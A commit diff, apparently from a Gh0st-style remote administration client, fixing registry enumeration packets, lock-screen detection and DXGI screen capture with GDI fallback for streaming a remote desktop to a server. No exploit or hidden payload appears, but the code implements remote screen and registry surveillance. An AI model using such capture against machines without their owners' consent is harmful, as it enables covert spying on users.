if (!hInputDesktop) {
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", err);
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenDesktop Default failed: %d\n", err);
}
}
} else {
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenWindowStation failed: %d\n", err);
}
}
return hInputDesktop;
}
bool IsWorkstationLocked()
{
HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ);
// 打不开输入桌面,通常就是已经切到 Winlogon(锁屏)
if (!hInput) return true;
char name[256] = { 0 };
DWORD needed = 0;
bool isLocked = false;
if (GetUserObjectInformationA(hInput, UOI_NAME, name, sizeof(name), &needed)) {
isLocked = (_stricmp(name, "Winlogon") == 0);
}
CloseDesktop(hInput);
return isLocked;
}
// 返回新桌面句柄,如果没有变化返回NULL
HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights)
{
+4
View File
@@ -15,6 +15,10 @@
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0);
// 工作站是否已锁屏(输入桌面切到 Winlogon)。锁屏时 DXGI 桌面复制在部分环境会卡在
// 初始化里不返回,抓屏初始化需要据此提前走 GDI。
bool IsWorkstationLocked();
HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights);
bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights);
+35
View File
@@ -9,6 +9,14 @@
#if ENABLE_REGISTRY
// 与 RegisterOperation.cpp 的 REGMSG 同构(int count + DWORD size + DWORD valsize = 12 字节),
// 此处仅用于构造"空结果包"(count=0),无需跨文件共享完整定义。
struct REGMSG {
int count; //名字个数
DWORD size; //名字大小
DWORD valsize; //值大小
};
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -46,17 +54,44 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
if(szPath!=NULL) {
Opt.SetPath(szPath);
}
// 子键包(TOKEN_REG_PATH):无子键时也回传空包,保证服务端(含 MCP 无头查询)
// 能确定性收齐 PATH+KEY 两包,无需靠超时猜测是否有第二包。
char *szBuffer= Opt.FindPath();
// 键打不开(不存在 / 路径不存在 / 拒绝访问 …):回结构化错误包。此前这种情况与
// 「空键」同为 NULL,服务端只能回一个空列表,调用方无法区分。
LSTATUS st = Opt.GetLastOpenStatus();
if (st != ERROR_SUCCESS) {
BYTE pkt[1 + sizeof(LSTATUS)] = { 0 };
pkt[0] = TOKEN_REG_ERROR;
memcpy(pkt + 1, &st, sizeof(LSTATUS));
m_ClientObject->Send2Server((char*)pkt, sizeof(pkt));
// 老服务端不认识 TOKEN_REG_ERROR:补上原来的两个空包,仍按「空键」处理,行为不变。
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_PATH;
m_ClientObject->Send2Server(empty, sizeof(empty));
empty[0] = TOKEN_REG_KEY;
m_ClientObject->Send2Server(empty, sizeof(empty));
return;
}
if(szBuffer!=NULL) {
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
//目录下的目录
LocalFree(szBuffer);
} else {
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_PATH;
m_ClientObject->Send2Server(empty, sizeof(empty));
}
// 值包(TOKEN_REG_KEY):同上,无值时也回传空包。
szBuffer = Opt.FindKey();
if(szBuffer!=NULL) {
//目录下的文件
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
} else {
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_KEY;
m_ClientObject->Send2Server(empty, sizeof(empty));
}
}
+24 -18
View File
@@ -21,10 +21,13 @@ enum MYKEY {
enum KEYVALUE {
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
MREG_SZ, // REG_SZ
MREG_DWORD, // REG_DWORD
MREG_BINARY, // REG_BINARY
MREG_EXPAND_SZ, // REG_EXPAND_SZ
MREG_MULTI_SZ, // REG_MULTI_SZ
MREG_QWORD, // REG_QWORD
MREG_NONE // REG_NONE / 未知类型
};
struct REGMSG {
@@ -57,6 +60,7 @@ RegisterOperation::RegisterOperation(char bToken)
}
ZeroMemory(KeyPath,MAX_PATH);
m_lastOpenStatus = ERROR_SUCCESS;
}
RegisterOperation::~RegisterOperation()
@@ -70,7 +74,8 @@ char* RegisterOperation::FindPath()
char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄
/*打开注册表 User kdjfjkf\kdjfkdjf\ */
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
m_lastOpenStatus = RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey);
if(m_lastOpenStatus==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameCount,NameMaxLen;
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
//这就是枚举了
@@ -93,7 +98,7 @@ char* RegisterOperation::FindPath()
REGMSG msg; //数据头
msg.size=KeySize;
msg.count=KeyCount;
memcpy(szBuffer+1,(void*)&msg,Size);
memcpy(szBuffer+1,(void*)&msg,sizeof(REGMSG));
char * szTemp=new char[KeySize];
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
@@ -124,7 +129,8 @@ char* RegisterOperation::FindKey()
char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
m_lastOpenStatus = RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey);
if(m_lastOpenStatus==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
//这就是枚举了
@@ -167,17 +173,17 @@ char* RegisterOperation::FindKey()
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
NULL,&Type,szValueData,&DataSize);//读取键值
if(Type==REG_SZ) {
szTemp[0]=MREG_SZ;
}
if(Type==REG_DWORD) {
szTemp[0]=MREG_DWORD;
}
if(Type==REG_BINARY) {
szTemp[0]=MREG_BINARY;
}
if(Type==REG_EXPAND_SZ) {
szTemp[0]=MREG_EXPAND_SZ;
// 值类型映射:REG_SZ/DWORD/BINARY/EXPAND_SZ 之外补 MULTI_SZ/QWORD/NONE,
// 未识别类型一律 MREG_NONE(避免误报为 REG_SZ)。
switch (Type) {
case REG_SZ: szTemp[0] = MREG_SZ; break;
case REG_EXPAND_SZ: szTemp[0] = MREG_EXPAND_SZ; break;
case REG_MULTI_SZ: szTemp[0] = MREG_MULTI_SZ; break;
case REG_DWORD: szTemp[0] = MREG_DWORD; break;
case REG_QWORD: szTemp[0] = MREG_QWORD; break;
case REG_BINARY: szTemp[0] = MREG_BINARY; break;
case REG_NONE: szTemp[0] = MREG_NONE; break;
default: szTemp[0] = MREG_NONE; break;
}
szTemp+=sizeof(BYTE);
strcpy(szTemp,szValueName);
+5
View File
@@ -19,6 +19,11 @@ public:
char KeyPath[MAX_PATH];
void SetPath(char *szPath);
char* FindKey();
// 最近一次 RegOpenKeyEx 的状态:区分「键打不开」(不存在/拒绝访问)与「键为空」
// (后者返回 NULL 但状态是 ERROR_SUCCESS)。
LSTATUS GetLastOpenStatus() const { return m_lastOpenStatus; }
private:
LSTATUS m_lastOpenStatus;
};
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
+35 -1
View File
@@ -14,6 +14,7 @@
#include <functional>
#include <future>
#include <memory>
#include <atomic>
#include <emmintrin.h> // SSE2
#include "common/config.h"
#include "VideoEncoderBase.h"
@@ -149,6 +150,9 @@ public:
int m_FrameID; // 帧序号
int m_GOP; // 关键帧间隔
bool m_SendKeyFrame; // 发送关键帧
// Web 端请求下一帧强制 IDR(COMMAND_SCREEN_KEYFRAME_REQ)。只对 H.264 生效;
// 必须在成功编码出 IDR 后清除,否则 ScanNextScreen 失败/硬编 EAGAIN 时请求会丢。
std::atomic<bool> m_bForceKeyFrame{false};
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
// false 时禁止 skip——避免单显示器路径
@@ -257,6 +261,11 @@ public:
m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12];
}
}
// 请求下一帧强制 IDR(可跨线程调用)。只影响 H.264 编码路径;
// 实际清除发生在成功编码出 IDR 之后。
void RequestKeyFrame() { m_bForceKeyFrame.store(true, std::memory_order_relaxed); }
virtual ~ScreenCapture()
{
if (m_BitmapInfor_Full != NULL) {
@@ -857,6 +866,24 @@ public:
return bmpInfo;
}
// 默认发送尺寸上限:等比缩放,保证长边 ≤1920、短边 ≤1080(横竖屏都成立)。
// 原实现是 min(1920,w) 与 min(1080,h) 各自独立截断,宽高比会被破坏:
// 竖屏 1440×2560 会被压成 1440×1080(高度只剩 42%)。
static void FitDefaultSendSize(LONG& w, LONG& h)
{
const LONG longEdge = (w > h) ? w : h;
const LONG shortEdge = (w > h) ? h : w;
float s = 1.0f;
if (longEdge > 1920)
s = 1920.0f / (float)longEdge;
if ((float)shortEdge * s > 1080.0f)
s = 1080.0f / (float)shortEdge;
if (s < 1.0f) {
w = (LONG)((float)w * s);
h = (LONG)((float)h * s);
}
}
// 编码器 lazy 创建。委托 EncoderFactory 完成"硬编探测 + 软编 fallback"。
void ensureEncoder(int width, int height)
{
@@ -876,7 +903,12 @@ public:
{
BYTE algo = m_bAlgorithm;
int frameID = m_FrameID + 1;
bool keyFrame = (frameID % m_GOP == 0);
// Web 端可请求强制 IDR(COMMAND_SCREEN_KEYFRAME_REQ),只对 H.264 有意义。
// 标志在成功编码出 IDR 后才清除(见下方 H.264 keyframe 分支),
// 保证 ScanNextScreen 失败或硬编 EAGAIN 时请求不会丢失。
bool forceKeyFrame = (algo == ALGORITHM_H264) &&
m_bForceKeyFrame.load(std::memory_order_relaxed);
bool keyFrame = forceKeyFrame || (frameID % m_GOP == 0);
m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN;
LPBYTE data = m_RectBuffer + 1;
// 写入使用了哪种算法
@@ -967,6 +999,8 @@ public:
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
// IDR 已成功产出,满足(可能的)强制关键帧请求。
m_bForceKeyFrame.store(false, std::memory_order_relaxed);
break;
}
default:
+382 -32
View File
@@ -24,6 +24,39 @@ private:
ID3D11Texture2D* cpuTexture = nullptr;
BYTE* m_NextBuffer = nullptr;
// 各缓冲是否已成功抓到过至少一帧。
// DXGI 的语义是「只在桌面有变化时才返回新帧」,静止桌面下 AcquireNextFrame
// 必然超时(DXGI_ERROR_WAIT_TIMEOUT)。超时必须复用上一帧而不是当作失败,
// 否则 ScanNextScreen 恒返回 nullptr → 只发光标帧 → H.264 编码器永远拿不到
// 首帧 IDR → 服务端 Decode() 不执行 → m_bIsFirst 无法解除 → 永久黑屏。
bool m_bFirstValid = false;
bool m_bNextValid = false;
static constexpr int kNoNewFrame = -100; // 无新帧,非错误
// 旋转输出(竖屏)下 DXGI 给的表面是「未旋转」的横向位图,
// 与桌面逻辑尺寸互为宽高交换,需要自行旋转。这里记录表面真实尺寸与旋转角。
int m_surfW = 0;
int m_surfH = 0;
DXGI_MODE_ROTATION m_rotation = DXGI_MODE_ROTATION_IDENTITY;
// InitDXGI 探测阶段抓到的帧。DuplicateOutput 之后 DXGI 会推送一帧当前桌面,
// 静止桌面下这往往就是唯一能拿到的一帧,丢弃它会导致首屏只能等桌面变化。
// 因此探测完先留在手上(不 ReleaseFrame),由 ConsumeProbeFrame() 消费。
IDXGIResource* m_probeRes = nullptr;
// DXGI 在部分环境下完全拿不到帧(无头/虚拟显示、Session 0 桌面、驱动不推送
// duplication 通知等),连首屏都要靠 GDI 兜底。这种情况下本会话直接降级为
// GDI 抓屏,否则 ScanNextScreen 永远返回 nullptr,表现为「首屏有画面,
// 但之后切换窗口画面不再更新」。
bool m_bGDIFallback = false;
// GDI 兜底用的离屏缓冲。降级后是每帧都要走的持续路径,必须复用,
// 否则每帧 CreateDIBSection/DeleteObject 会反复分配十几 MB 造成抖动。
HDC m_hGdiMemDC = nullptr;
HBITMAP m_hGdiBmp = nullptr;
HGDIOBJ m_hGdiOldBmp = nullptr;
void* m_pGdiBits = nullptr;
public:
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE, int level = LEVEL_H264_SOFT,
RECT rc = {0}, BOOL switchScreen = TRUE)
@@ -73,7 +106,8 @@ public:
// 4. 获取 DXGI 输出(屏幕)
static UINT screen = 0;
HRESULT r = dxgiAdapter->EnumOutputs(switchScreen ? screen++ : screen, &dxgiOutput);
UINT outIndex = switchScreen ? screen++ : screen;
HRESULT r = dxgiAdapter->EnumOutputs(outIndex, &dxgiOutput);
if (r == DXGI_ERROR_NOT_FOUND && all) {
screen = 0;
idx ++;
@@ -101,16 +135,67 @@ public:
// 7. 获取屏幕大小
DXGI_OUTDUPL_DESC duplDesc;
deskDupl->GetDesc(&duplDesc);
m_ulFullWidth = duplDesc.ModeDesc.Width;
m_ulFullHeight = duplDesc.ModeDesc.Height;
// 8. 创建 CPU 访问纹理
// 旋转输出(竖屏)下 ModeDesc 报告的是逻辑桌面尺寸,而实际捕获表面是
// 「未旋转」的横向位图,两者宽高互换。若按 ModeDesc 建 CPU 纹理,
// CopyResource 会静默不复制(返回 void)→ cpuTexture 全零 → 黑屏。
// 先取一帧读真实纹理描述;取不到时按旋转关系推导,避免退回错误尺寸。
m_rotation = duplDesc.Rotation;
const bool swapWH = (m_rotation == DXGI_MODE_ROTATION_ROTATE90 ||
m_rotation == DXGI_MODE_ROTATION_ROTATE270);
UINT realW = swapWH ? duplDesc.ModeDesc.Height : duplDesc.ModeDesc.Width;
UINT realH = swapWH ? duplDesc.ModeDesc.Width : duplDesc.ModeDesc.Height;
DXGI_FORMAT realFmt = DXGI_FORMAT_B8G8R8A8_UNORM;
{
IDXGIResource* probeRes = nullptr;
DXGI_OUTDUPL_FRAME_INFO probeInfo = {};
HRESULT phr = deskDupl->AcquireNextFrame(200, &probeInfo, &probeRes);
if (SUCCEEDED(phr)) {
if (probeRes) {
ID3D11Texture2D* probeTex = nullptr;
if (SUCCEEDED(probeRes->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&probeTex)) && probeTex) {
D3D11_TEXTURE2D_DESC td = {};
probeTex->GetDesc(&td);
realW = td.Width;
realH = td.Height;
realFmt = td.Format;
probeTex->Release();
}
// 不要丢弃这一帧:暂存起来,等缓冲分配完由 ConsumeProbeFrame()
// 直接填充首屏。否则静止桌面下首屏 AcquireNextFrame 必然超时。
m_probeRes = probeRes;
} else {
deskDupl->ReleaseFrame();
}
}
}
// 内存布局按 4 字节/像素计算,非 4 字节格式回退 BGRA
switch (realFmt) {
case DXGI_FORMAT_B8G8R8A8_UNORM:
case DXGI_FORMAT_B8G8R8A8_UNORM_SRGB:
case DXGI_FORMAT_R8G8B8A8_UNORM:
case DXGI_FORMAT_R8G8B8A8_UNORM_SRGB:
case DXGI_FORMAT_R10G10B10A2_UNORM:
break;
default:
Mprintf("[DXGI] unsupported fmt=%d, fallback BGRA\n", (int)realFmt);
realFmt = DXGI_FORMAT_B8G8R8A8_UNORM;
break;
}
// 后续所有缓冲/位图信息/缩放都按「正立」的逻辑尺寸计算
m_surfW = (int)realW;
m_surfH = (int)realH;
m_ulFullWidth = swapWH ? realH : realW;
m_ulFullHeight = swapWH ? realW : realH;
// 8. 创建 CPU 访问纹理(按表面原始尺寸/格式,保证 CopyResource 成功)
D3D11_TEXTURE2D_DESC desc = {};
desc.Width = m_ulFullWidth;
desc.Height = m_ulFullHeight;
desc.Width = realW;
desc.Height = realH;
desc.MipLevels = 1;
desc.ArraySize = 1;
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
desc.Format = realFmt;
desc.SampleDesc.Count = 1;
desc.Usage = D3D11_USAGE_STAGING;
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
@@ -135,9 +220,8 @@ public:
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
} else {
// strategy=0 或 maxWidth=0: 默认 1080p 限制
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
// strategy=0 或 maxWidth=0: 默认 1080p 限制(等比,避免竖屏被压扁)
FitDefaultSendSize(m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight);
m_BitmapInfor_Send->bmiHeader.biSizeImage =
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
@@ -149,6 +233,12 @@ public:
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
m_BmpZoomFirst = nullptr;
// 缓冲就绪,把探测阶段暂存的那一帧直接填成首屏内容。
// 这一步让首屏不再依赖「桌面发生变化」,连接后立即可出画面。
if (m_probeRes) {
ConsumeProbeFrame();
}
// ROI
int w = m_ROI.right - m_ROI.left, h = m_ROI.bottom - m_ROI.top;
if (w > 0 && h > 0) {
@@ -158,6 +248,11 @@ public:
m_BitmapInfor_Send->bmiHeader.biHeight = h;
m_BitmapInfor_Send->bmiHeader.biSizeImage = w * h * 4;
}
Mprintf("[DXGI] out=%u mode=%ux%u surf=%ux%u fmt=%d rot=%d -> send=%dx%d\n",
outIndex, duplDesc.ModeDesc.Width, duplDesc.ModeDesc.Height,
m_surfW, m_surfH, (int)realFmt, (int)m_rotation,
(int)m_BitmapInfor_Send->bmiHeader.biWidth,
(int)m_BitmapInfor_Send->bmiHeader.biHeight);
break;
} while (true);
@@ -175,6 +270,27 @@ public:
void CleanupDXGI()
{
// GDI 兜底缓冲:先把旧位图选回 DC,再删 DC,最后删位图
if (m_hGdiMemDC) {
// SelectObject 失败会返回 HGDI_ERROR,不能拿它去恢复,否则位图仍被
// DC 选入,后面的 DeleteObject 会失败
if (m_hGdiOldBmp && m_hGdiOldBmp != HGDI_ERROR)
SelectObject(m_hGdiMemDC, m_hGdiOldBmp);
DeleteDC(m_hGdiMemDC);
m_hGdiMemDC = nullptr;
m_hGdiOldBmp = nullptr;
}
if (m_hGdiBmp) {
DeleteObject(m_hGdiBmp);
m_hGdiBmp = nullptr;
m_pGdiBits = nullptr;
}
// 探测帧若还挂着(例如 InitDXGI 中途失败),必须归还,否则 duplication 无法释放
if (m_probeRes) {
if (deskDupl) deskDupl->ReleaseFrame();
m_probeRes->Release();
m_probeRes = nullptr;
}
if (cpuTexture) cpuTexture->Release();
if (deskDupl) deskDupl->Release();
if (d3dContext) d3dContext->Release();
@@ -196,14 +312,59 @@ public:
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override
{
int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
scaleBitmap(m_BmpZoomBuffer, m_FirstBuffer);
memcpy(m_FirstBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
if (ret)
return nullptr;
// 首屏是一次性同步操作:ScreenManager 在调用前已把 m_SendFirst 置 TRUE,
// 一旦返回 nullptr 就不会再重试。所以这里尽量拿到内容——探测阶段暂存的
// 帧通常已填充好,静止桌面下偶尔无新帧时再用短超时补抓几次。
const DWORD startTick = GetTickCount();
int ret = 0;
int attempts = 0;
if (!m_bFirstValid) { // 探测帧已填充时直接用,不再白等一次 AcquireNextFrame
ret = kNoNewFrame;
while (attempts < 3) {
++attempts;
ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1, &m_bFirstValid);
if (ret != kNoNewFrame) break;
if (m_bFirstValid) { ret = 0; break; }
Sleep(20);
}
}
const DWORD elapsed = GetTickCount() - startTick;
if (elapsed > 300) {
// 只在明显偏慢时记录,正常连接不会产生这行
Mprintf("[DXGI] first screen slow: %ums attempts=%d ok=%d\n",
elapsed, attempts, ret == 0);
}
if (ret != 0) {
// DXGI 抓帧失败(无新帧 / 尺寸异常 / Map 失败等)。首屏不能放弃:一旦
// 返回 nullptr,服务端 m_bIsFirst 就再无机会解锁(ScreenManager 的
// m_SendFirst 已置 TRUE 不会重试),只能等桌面变化,表现为一直"请等待"。
if (CaptureByGDI(m_FirstBuffer, 1)) {
// duplication 连首帧都产不出来,本会话后续帧也必然是空的。
// 直接降级为 GDI 抓屏,保证画面能持续更新(否则只有首屏是活的)。
m_bGDIFallback = true;
if (deskDupl) {
deskDupl->Release();
deskDupl = nullptr;
}
Mprintf("[DXGI] no frame from duplication (ret=%d), session falls back to GDI\n", ret);
ret = 0;
} else {
*ulFirstScreenLength = 0;
return nullptr;
}
}
// reservedBytes=1,实际位图从 m_FirstBuffer+1 开始;
// 服务端也是从偏移 1 开始拷贝,写回时必须保持同样的偏移
scaleBitmap(m_BmpZoomBuffer, m_FirstBuffer + 1);
memcpy(m_FirstBuffer + 1, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
// 缓冲已被缩放图覆盖,+1 处不再是完整帧,后续无新帧时不可再复用
m_bFirstValid = false;
if (m_bAlgorithm == ALGORITHM_GRAY) {
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
}
// 长度必须是缩放后的发送尺寸,不能沿用 CaptureFrame 写入的全尺寸,
// 否则会把整帧原始数据(数倍于图像)一并发给服务端
*ulFirstScreenLength = m_BitmapInfor_Send->bmiHeader.biSizeImage;
m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
return m_FirstBuffer;
}
@@ -211,11 +372,16 @@ public:
LPBYTE ScanNextScreen() override
{
ULONG ulNextScreenLength = 0;
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
scaleBitmap(m_BmpZoomBuffer, m_NextBuffer);
memcpy(m_NextBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0, &m_bNextValid);
if (ret == kNoNewFrame) {
// 无新帧:m_NextBuffer 里已是上次缩放后的结果,必须原样返回,
// 不能再走一遍 scaleBitmap(源已是缩放图,重复缩放会损坏画面)
return m_bNextValid ? m_NextBuffer : nullptr;
}
if (ret)
return nullptr;
scaleBitmap(m_BmpZoomBuffer, m_NextBuffer);
memcpy(m_NextBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
return m_NextBuffer;
}
@@ -229,6 +395,12 @@ private:
// 重新初始化 Desktop Duplication
BOOL ReinitDuplication()
{
// 重建前必须把暂存帧归还,否则旧的 duplication 无法释放
if (m_probeRes) {
if (deskDupl) deskDupl->ReleaseFrame();
m_probeRes->Release();
m_probeRes = nullptr;
}
if (deskDupl) {
deskDupl->Release();
deskDupl = nullptr;
@@ -263,23 +435,178 @@ private:
return SUCCEEDED(hr) && deskDupl;
}
int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes)
// 惰性创建 GDI 离屏 DIB(尺寸与 DXGI 表面一致,32bpp bottom-up,与发送格式相同)
bool EnsureGDIBuffer()
{
if (m_hGdiMemDC && m_hGdiBmp && m_pGdiBits) return true;
// m_BitmapInfor_Full 已是 32bpp BI_RGB、biHeight 为正(bottom-up)、
// 尺寸等于 m_ulFullWidth/Height,直接复用,不必另建一份 BITMAPINFO
if (!m_BitmapInfor_Full || m_ulFullWidth == 0 || m_ulFullHeight == 0) return false;
HDC hScreen = GetDC(NULL);
if (!hScreen) return false;
if (!m_hGdiMemDC) m_hGdiMemDC = CreateCompatibleDC(hScreen);
if (!m_hGdiBmp) {
m_hGdiBmp = CreateDIBSection(hScreen, m_BitmapInfor_Full, DIB_RGB_COLORS,
&m_pGdiBits, NULL, 0);
}
ReleaseDC(NULL, hScreen);
if (!m_hGdiMemDC || !m_hGdiBmp || !m_pGdiBits) return false;
HGDIOBJ old = SelectObject(m_hGdiMemDC, m_hGdiBmp);
if (!old || old == HGDI_ERROR) {
// 选入失败:销毁位图,否则下次会被上面的「已就绪」判断误认为可用,
// 而实际 BitBlt 写不到 m_pGdiBits,抓出来是未初始化的内存
DeleteObject(m_hGdiBmp);
m_hGdiBmp = nullptr;
m_pGdiBits = nullptr;
return false;
}
m_hGdiOldBmp = old;
return true;
}
// DXGI 的 AcquireNextFrame 只在桌面有新内容呈现时才返回。在无头/虚拟显示环境,
// 或驱动在 DuplicateOutput 后不推送初始帧时,它可能永远超时。此时首屏发不出去,
// 服务端 m_bIsFirst 永不解锁,表现为远程桌面一直停在"请等待......"。
// GDI BitBlt 不依赖桌面变化,这里用它兜底抓一帧。
bool CaptureByGDI(LPBYTE buffer, int reservedBytes)
{
if (!EnsureGDIBuffer()) return false;
HDC hScreen = GetDC(NULL);
if (!hScreen) return false;
BOOL blt = BitBlt(m_hGdiMemDC, 0, 0, (int)m_ulFullWidth, (int)m_ulFullHeight,
hScreen, m_iScreenX, m_iScreenY, SRCCOPY);
ReleaseDC(NULL, hScreen);
if (!blt) return false;
memcpy(buffer + reservedBytes, m_pGdiBits,
(size_t)m_ulFullWidth * m_ulFullHeight * 4);
return true;
}
// 把 DXGI 表面(top-down,srcW×srcH,BGRA)按 rotation 摆正后写入目标
// (bottom-up DIB,m_ulFullWidth×m_ulFullHeight)。分块处理保证缓存友好。
void BlitRotated(BYTE* dst, const BYTE* src, int srcPitch,
int srcW, int srcH, DXGI_MODE_ROTATION rot)
{
const int dstW = (int)m_ulFullWidth;
const int dstH = (int)m_ulFullHeight;
const int dstPitch = dstW * 4;
auto put = [&](int x, int y, int sx, int sy) {
memcpy(dst + (size_t)(dstH - 1 - y) * dstPitch + (size_t)x * 4,
src + (size_t)sy * srcPitch + (size_t)sx * 4, 4);
};
if (rot == DXGI_MODE_ROTATION_ROTATE90 || rot == DXGI_MODE_ROTATION_ROTATE270) {
const bool cw = (rot == DXGI_MODE_ROTATION_ROTATE90);
const int T = 32;
for (int y0 = 0; y0 < dstH; y0 += T) {
const int yEnd = (y0 + T < dstH) ? y0 + T : dstH;
for (int x0 = 0; x0 < dstW; x0 += T) {
const int xEnd = (x0 + T < dstW) ? x0 + T : dstW;
for (int y = y0; y < yEnd; y++) {
for (int x = x0; x < xEnd; x++) {
const int sx = cw ? y : (srcW - 1 - y);
const int sy = cw ? (srcH - 1 - x) : x;
put(x, y, sx, sy);
}
}
}
}
} else if (rot == DXGI_MODE_ROTATION_ROTATE180) {
for (int y = 0; y < dstH; y++)
for (int x = 0; x < dstW; x++)
put(x, y, srcW - 1 - x, srcH - 1 - y);
} else {
// IDENTITY:整行拷贝(快路径)
for (int y = 0; y < dstH; y++)
memcpy(dst + (size_t)(dstH - 1 - y) * dstPitch,
src + (size_t)y * srcPitch, (size_t)dstPitch);
}
}
// 消费 InitDXGI 探测阶段暂存的那一帧,直接填充 m_FirstBuffer(偏移 1 起)。
// 无论成败都会释放暂存资源与 DXGI 帧,避免泄漏。
bool ConsumeProbeFrame()
{
if (!m_probeRes) return false;
bool ok = false;
ID3D11Texture2D* tex = nullptr;
if (cpuTexture && m_FirstBuffer &&
SUCCEEDED(m_probeRes->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&tex)) && tex) {
// 尺寸与格式都必须与建 cpuTexture 时一致,否则 CopyResource 静默不复制
// (读出来是全零)。探测阶段 QI 失败会退回推导尺寸、格式白名单也可能把
// 非常见格式回退成 BGRA,这里再核对一次,不符就放弃消费,让
// GetFirstScreenData 走正常抓帧路径,避免把全黑画面当成首屏发出去。
D3D11_TEXTURE2D_DESC sd = {}, dd = {};
tex->GetDesc(&sd);
cpuTexture->GetDesc(&dd);
if (sd.Width == dd.Width && sd.Height == dd.Height && sd.Format == dd.Format) {
d3dContext->CopyResource(cpuTexture, tex);
D3D11_MAPPED_SUBRESOURCE mapped = {};
if (SUCCEEDED(d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped))) {
BlitRotated(m_FirstBuffer + 1, (const BYTE*)mapped.pData,
(int)mapped.RowPitch, m_surfW, m_surfH, m_rotation);
d3dContext->Unmap(cpuTexture, 0);
m_bFirstValid = true;
ok = true;
}
} else {
Mprintf("[DXGI] probe %ux%u fmt=%d != cpu %ux%u fmt=%d, skip probe frame\n",
sd.Width, sd.Height, (int)sd.Format, dd.Width, dd.Height, (int)dd.Format);
}
tex->Release();
}
if (deskDupl) deskDupl->ReleaseFrame();
m_probeRes->Release();
m_probeRes = nullptr;
return ok;
}
int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes, bool* valid)
{
// 本会话已降级为 GDI(首屏就是靠 GDI 兜底才成功的,说明 duplication 在这个
// 环境产不出帧)。继续轮询 DXGI 只会一直返回「无新帧」,画面就停住不动。
if (m_bGDIFallback) {
